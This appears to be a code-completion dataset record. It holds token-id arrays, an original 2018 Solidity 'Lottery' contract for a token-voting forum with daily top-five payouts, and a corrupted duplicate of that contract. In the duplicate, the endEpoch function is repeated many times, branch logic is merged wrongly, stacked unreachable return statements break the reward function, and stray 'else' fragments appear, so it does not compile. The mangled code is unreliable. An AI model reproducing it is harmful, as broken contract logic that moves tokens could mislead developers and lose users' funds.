-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Copyright (c) William Morriss, 2018 pragma solidity^0.4.19; import "./AppToken.sol"; import "./forum.sol"; import "./redeemer.sol"; contract Lottery is Beneficiary, Sponsored { // though ERC20 says tokens *should* revert in transferFrom without allowance // this token *must* revert AppToken public token; Forum public forum; address public owner; uint256 public epochTimestamp; uint256 public epochPrior; uint256 public epochCurrent; mapping (uint256 => int256) public votes; mapping (uint256 => mapping (address => int8)) voters; address[] public posters; uint256 public postCost; uint256 public nextPostCost; function postCount() public view returns (uint256) { return posters.length; } uint256 public rewardPool; address[5] public payouts; function Lottery(AppToken _token, Forum _forum) public { token = _token; forum = _forum; owner = msg.sender; posters.push(0); // no author for root post 0 postCost = 20 finney; nextPostCost = 20 finney; } modifier vote(address _voter, uint256 _offset, int8 _direction) { int8 priorVote = voters[_offset][_voter]; votes[_offset] += _direction - priorVote; voters[_offset][_voter] = _direction; _; } modifier transfersToken(address _voter) { token.appTransfer(_voter, this, postCost); _; } function upvote(uint256 _offset) external sponsored vote(msg.sender, _offset, 1) transfersToken(msg.sender) { } function downvote(uint256 _offset) external sponsored vote(msg.sender, _offset, -1) transfersToken(msg.sender) { } function unvote(uint256 _offset) external vote(msg.sender, _offset, 0) transfersToken(msg.sender) { } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; // get top 5 posts for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { // insert it /* uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; */ // the code below is equivalent to the commented code above if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; } else { topVotes[1] = current; winners[1] = i; } } else { topVotes[2] = current; winners[2] = i; } } else { if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; } else { topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } // write the new winners for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } // refresh the pool rewardPool = token.balanceOf(this); epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function reward(uint8 _payout) public view returns (uint256) { // I wish we had switch() if (_payout == 0) { return rewardPool * 2 / 5; } else if (_payout == 1) { return rewardPool / 4; } else if (_payout == 2) { return rewardPool / 5; } else if (_payout == 3) { return rewardPool / 10; } else if (_payout == 4) { return rewardPool / 20; } return 0; } function claim(uint8 _payout) external { require(payouts[_payout] == msg.sender); payouts[_payout] = 0; token.transfer(msg.sender, reward(_payout)); } modifier onlyOwner { require (msg.sender == owner); _; } function setOwner(address _owner) external onlyOwner { owner = _owner; } function setNextPostCost(uint256 _nextPostCost) external onlyOwner { nextPostCost = _nextPostCost; } function redeem(Redeemer _redeemer) external onlyOwner returns (AppToken) { require(_redeemer.from() == token); token.approve(_redeemer, token.balanceOf(this)); _redeemer.redeem(); AppToken to = _redeemer.to(); token = to; return to; } function undo(Redeemer _redeemer) external onlyOwner returns (AppToken) { require(_redeemer.to() == token); token.approve(_redeemer, token.balanceOf(this)); _redeemer.undo(); AppToken from = _redeemer.from(); token = from; return from; } function era() internal view returns (uint256) { return now; } modifier pushPoster(address _poster) { posters.push(_poster); _; } modifier onlyForum { require(msg.sender == address(forum)); _; } function onPostUpvote(address _poster) sponsored external onlyForum vote(_poster, posters.length, 1) transfersToken(_poster) pushPoster(_poster) {} function onPost(address _poster) external onlyForum transfersToken(_poster) pushPoster(_poster) {} }
though ERC20 says tokens *should* revert in transferFrom without allowance this token *must* revert
contract Lottery is Beneficiary, Sponsored { AppToken public token; Forum public forum; address public owner; uint256 public epochTimestamp; uint256 public epochPrior; uint256 public epochCurrent; mapping (uint256 => int256) public votes; mapping (uint256 => mapping (address => int8)) voters; address[] public posters; uint256 public postCost; uint256 public nextPostCost; pragma solidity^0.4.19; function postCount() public view returns (uint256) { return posters.length; } uint256 public rewardPool; address[5] public payouts; function Lottery(AppToken _token, Forum _forum) public { token = _token; forum = _forum; owner = msg.sender; postCost = 20 finney; nextPostCost = 20 finney; } modifier vote(address _voter, uint256 _offset, int8 _direction) { int8 priorVote = voters[_offset][_voter]; votes[_offset] += _direction - priorVote; voters[_offset][_voter] = _direction; _; } modifier transfersToken(address _voter) { token.appTransfer(_voter, this, postCost); _; } function upvote(uint256 _offset) external sponsored vote(msg.sender, _offset, 1) transfersToken(msg.sender) { } function downvote(uint256 _offset) external sponsored vote(msg.sender, _offset, -1) transfersToken(msg.sender) { } function unvote(uint256 _offset) external vote(msg.sender, _offset, 0) transfersToken(msg.sender) { } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } } else { } else { } else { function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } } else { function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } rewardPool = token.balanceOf(this); function endEpoch() external { require(era() >= epochTimestamp + 1 days); epochTimestamp = era(); uint256[5] memory winners; int256[5] memory topVotes; for (uint256 i = epochCurrent; i --> epochPrior;) { if (votes[i] == 0) { continue; } int256 current = votes[i]; if (current > topVotes[4]) { uint8 j = 4; while (topVotes[j-1] < current) { topVotes[j] = topVotes[j-1]; winners[j] = winners[j-1]; j--; if (j == 0) { break; } } topVotes[j] = current; winners[j] = i; if (current > topVotes[2]) { topVotes[4] = topVotes[3]; topVotes[3] = topVotes[2]; winners[4] = winners[3]; winners[3] = winners[2]; if (current > topVotes[1]) { topVotes[2] = topVotes[1]; winners[2] = winners[1]; if (current > topVotes[0]) { topVotes[1] = topVotes[0]; topVotes[0] = current; winners[1] = winners[0]; winners[0] = i; topVotes[1] = current; winners[1] = i; } topVotes[2] = current; winners[2] = i; } if (current > topVotes[3]) { topVotes[4] = topVotes[3]; topVotes[3] = current; winners[4] = winners[3]; winners[3] = i; topVotes[4] = current; winners[4] = i; } } } votes[i] = 0; } for (i = 0; i < 5; i++) { payouts[i] = posters[winners[i]]; } epochPrior = epochCurrent; epochCurrent = posters.length; if (nextPostCost != postCost) { postCost = nextPostCost; } } function reward(uint8 _payout) public view returns (uint256) { if (_payout == 0) { return rewardPool * 2 / 5; return rewardPool / 4; return rewardPool / 5; return rewardPool / 10; return rewardPool / 20; } return 0; } function reward(uint8 _payout) public view returns (uint256) { if (_payout == 0) { return rewardPool * 2 / 5; return rewardPool / 4; return rewardPool / 5; return rewardPool / 10; return rewardPool / 20; } return 0; } } else if (_payout == 1) { } else if (_payout == 2) { } else if (_payout == 3) { } else if (_payout == 4) { function claim(uint8 _payout) external { require(payouts[_payout] == msg.sender); payouts[_payout] = 0; token.transfer(msg.sender, reward(_payout)); } modifier onlyOwner { require (msg.sender == owner); _; } function setOwner(address _owner) external onlyOwner { owner = _owner; } function setNextPostCost(uint256 _nextPostCost) external onlyOwner { nextPostCost = _nextPostCost; } function redeem(Redeemer _redeemer) external onlyOwner returns (AppToken) { require(_redeemer.from() == token); token.approve(_redeemer, token.balanceOf(this)); _redeemer.redeem(); AppToken to = _redeemer.to(); token = to; return to; } function undo(Redeemer _redeemer) external onlyOwner returns (AppToken) { require(_redeemer.to() == token); token.approve(_redeemer, token.balanceOf(this)); _redeemer.undo(); AppToken from = _redeemer.from(); token = from; return from; } function era() internal view returns (uint256) { return now; } modifier pushPoster(address _poster) { posters.push(_poster); _; } modifier onlyForum { require(msg.sender == address(forum)); _; } function onPostUpvote(address _poster) sponsored external onlyForum vote(_poster, posters.length, 1) transfersToken(_poster) pushPoster(_poster) {} function onPost(address _poster) external onlyForum transfersToken(_poster) pushPoster(_poster) {} }
15,804,909
[ 1, 4625, 348, 7953, 560, 30, 225, 11376, 4232, 39, 3462, 20185, 2430, 380, 13139, 14, 15226, 316, 7412, 1265, 2887, 1699, 1359, 333, 1147, 380, 11926, 14, 15226, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 352, 387, 93, 353, 605, 4009, 74, 14463, 814, 16, 348, 500, 87, 7653, 288, 203, 565, 4677, 1345, 1071, 1147, 31, 203, 565, 2457, 379, 1071, 11283, 31, 203, 565, 1758, 1071, 3410, 31, 203, 565, 2254, 5034, 1071, 7632, 4921, 31, 203, 565, 2254, 5034, 1071, 7632, 25355, 31, 203, 565, 2254, 5034, 1071, 7632, 3935, 31, 203, 565, 2874, 261, 11890, 5034, 516, 509, 5034, 13, 1071, 19588, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2874, 261, 2867, 516, 509, 28, 3719, 331, 352, 414, 31, 203, 565, 1758, 8526, 1071, 1603, 414, 31, 203, 203, 565, 2254, 5034, 1071, 1603, 8018, 31, 203, 565, 2254, 5034, 1071, 1024, 3349, 8018, 31, 203, 203, 683, 9454, 18035, 560, 66, 20, 18, 24, 18, 3657, 31, 203, 565, 445, 1603, 1380, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 1603, 414, 18, 2469, 31, 203, 565, 289, 203, 203, 565, 2254, 5034, 1071, 19890, 2864, 31, 203, 565, 1758, 63, 25, 65, 1071, 293, 2012, 87, 31, 203, 203, 565, 445, 511, 352, 387, 93, 12, 3371, 1345, 389, 2316, 16, 2457, 379, 389, 11725, 13, 1071, 288, 203, 3639, 1147, 273, 389, 2316, 31, 203, 3639, 11283, 273, 389, 11725, 31, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 3639, 1603, 8018, 273, 4200, 574, 82, 402, 31, 203, 3639, 1024, 3349, 8018, 273, 4200, 574, 82, 402, 31, 203, 565, 289, 203, 203, 565, 9606, 12501, 12, 2867, 389, 90, 20005, 16, 2254, 5034, 389, 3348, 16, 509, 28, 389, 9855, 13, 288, 203, 3639, 509, 28, 6432, 19338, 273, 331, 352, 414, 63, 67, 3348, 6362, 67, 90, 20005, 15533, 203, 3639, 19588, 63, 67, 3348, 65, 1011, 389, 9855, 300, 6432, 19338, 31, 203, 3639, 331, 352, 414, 63, 67, 3348, 6362, 67, 90, 20005, 65, 273, 389, 9855, 31, 203, 3639, 389, 31, 203, 565, 289, 203, 565, 9606, 29375, 1345, 12, 2867, 389, 90, 20005, 13, 288, 203, 3639, 1147, 18, 2910, 5912, 24899, 90, 20005, 16, 333, 16, 1603, 8018, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 565, 445, 731, 25911, 12, 11890, 5034, 389, 3348, 13, 3903, 272, 500, 87, 7653, 12501, 12, 3576, 18, 15330, 16, 389, 3348, 16, 404, 13, 29375, 1345, 12, 3576, 18, 15330, 13, 288, 203, 565, 289, 203, 565, 445, 2588, 25911, 12, 11890, 5034, 389, 3348, 13, 3903, 272, 500, 87, 7653, 12501, 12, 3576, 18, 15330, 16, 389, 3348, 16, 300, 21, 13, 29375, 1345, 12, 3576, 18, 15330, 13, 288, 203, 565, 289, 203, 565, 445, 640, 25911, 12, 11890, 5034, 389, 3348, 13, 3903, 12501, 12, 3576, 18, 15330, 16, 389, 3348, 16, 374, 13, 29375, 1345, 12, 3576, 18, 15330, 13, 288, 203, 565, 289, 203, 565, 445, 679, 14638, 1435, 3903, 288, 203, 3639, 2583, 12, 6070, 1435, 1545, 7632, 4921, 397, 404, 4681, 1769, 203, 3639, 7632, 4921, 273, 25120, 5621, 203, 203, 3639, 2254, 5034, 63, 25, 65, 3778, 5657, 9646, 31, 7010, 3639, 509, 5034, 63, 25, 65, 3778, 1760, 29637, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 7632, 3935, 31, 277, 15431, 7632, 25355, 30943, 288, 203, 5411, 309, 261, 27800, 63, 77, 65, 422, 374, 13, 288, 203, 7734, 1324, 31, 203, 5411, 289, 203, 203, 5411, 509, 5034, 783, 273, 19588, 63, 77, 15533, 203, 5411, 309, 261, 2972, 405, 1760, 29637, 63, 24, 5717, 288, 203, 203, 7734, 2254, 28, 525, 273, 1059, 31, 203, 7734, 1323, 261, 3669, 29637, 63, 78, 17, 21, 65, 411, 783, 13, 288, 203, 10792, 1760, 29637, 63, 78, 65, 273, 1760, 29637, 63, 78, 17, 21, 15533, 203, 10792, 5657, 9646, 63, 78, 65, 273, 5657, 9646, 63, 78, 17, 21, 15533, 203, 10792, 525, 413, 31, 203, 10792, 309, 261, 78, 422, 374, 13, 288, 203, 13491, 898, 31, 203, 10792, 289, 203, 7734, 289, 203, 7734, 1760, 29637, 63, 78, 65, 273, 783, 31, 203, 7734, 5657, 9646, 63, 78, 65, 273, 277, 31, 203, 7734, 309, 261, 2972, 405, 1760, 29637, 63, 22, 5717, 288, 203, 10792, 1760, 29637, 63, 24, 65, 273, 1760, 29637, 63, 23, 15533, 203, 10792, 1760, 29637, 63, 23, 65, 273, 1760, 29637, 63, 22, 15533, 203, 10792, 5657, 9646, 63, 24, 65, 273, 5657, 9646, 63, 23, 15533, 203, 10792, 5657, 9646, 63, 23, 65, 273, 5657, 9646, 63, 22, 15533, 203, 10792, 309, 261, 2972, 405, 1760, 29637, 63, 21, 5717, 288, 203, 13491, 1760, 29637, 63, 22, 65, 273, 1760, 29637, 63, 21, 15533, 203, 13491, 5657, 9646, 63, 22, 65, 273, 5657, 9646, 63, 21, 15533, 203, 13491, 309, 261, 2972, 405, 1760, 29637, 63, 20, 5717, 288, 203, 18701, 1760, 29637, 63, 21, 65, 273, 1760, 29637, 63, 20, 15533, 203, 18701, 1760, 29637, 63, 20, 65, 273, 783, 31, 203, 18701, 5657, 9646, 63, 21, 65, 273, 5657, 9646, 63, 20, 15533, 203, 18701, 5657, 9646, 63, 20, 65, 273, 277, 31, 203, 18701, 1760, 29637, 63, 21, 65, 273, 783, 31, 203, 18701, 5657, 9646, 63, 21, 65, 273, 277, 31, 203, 13491, 289, 203, 13491, 1760, 29637, 63, 22, 65, 273, 783, 31, 203, 13491, 5657, 9646, 63, 22, 65, 273, 277, 31, 203, 10792, 289, 203, 10792, 309, 261, 2972, 405, 1760, 29637, 63, 23, 5717, 288, 203, 13491, 1760, 29637, 63, 24, 65, 273, 1760, 29637, 63, 23, 15533, 203, 13491, 1760, 29637, 63, 23, 65, 273, 783, 31, 203, 13491, 5657, 9646, 63, 24, 65, 273, 5657, 9646, 63, 23, 15533, 203, 13491, 5657, 9646, 63, 23, 65, 273, 277, 31, 203, 13491, 1760, 29637, 63, 24, 65, 273, 783, 31, 203, 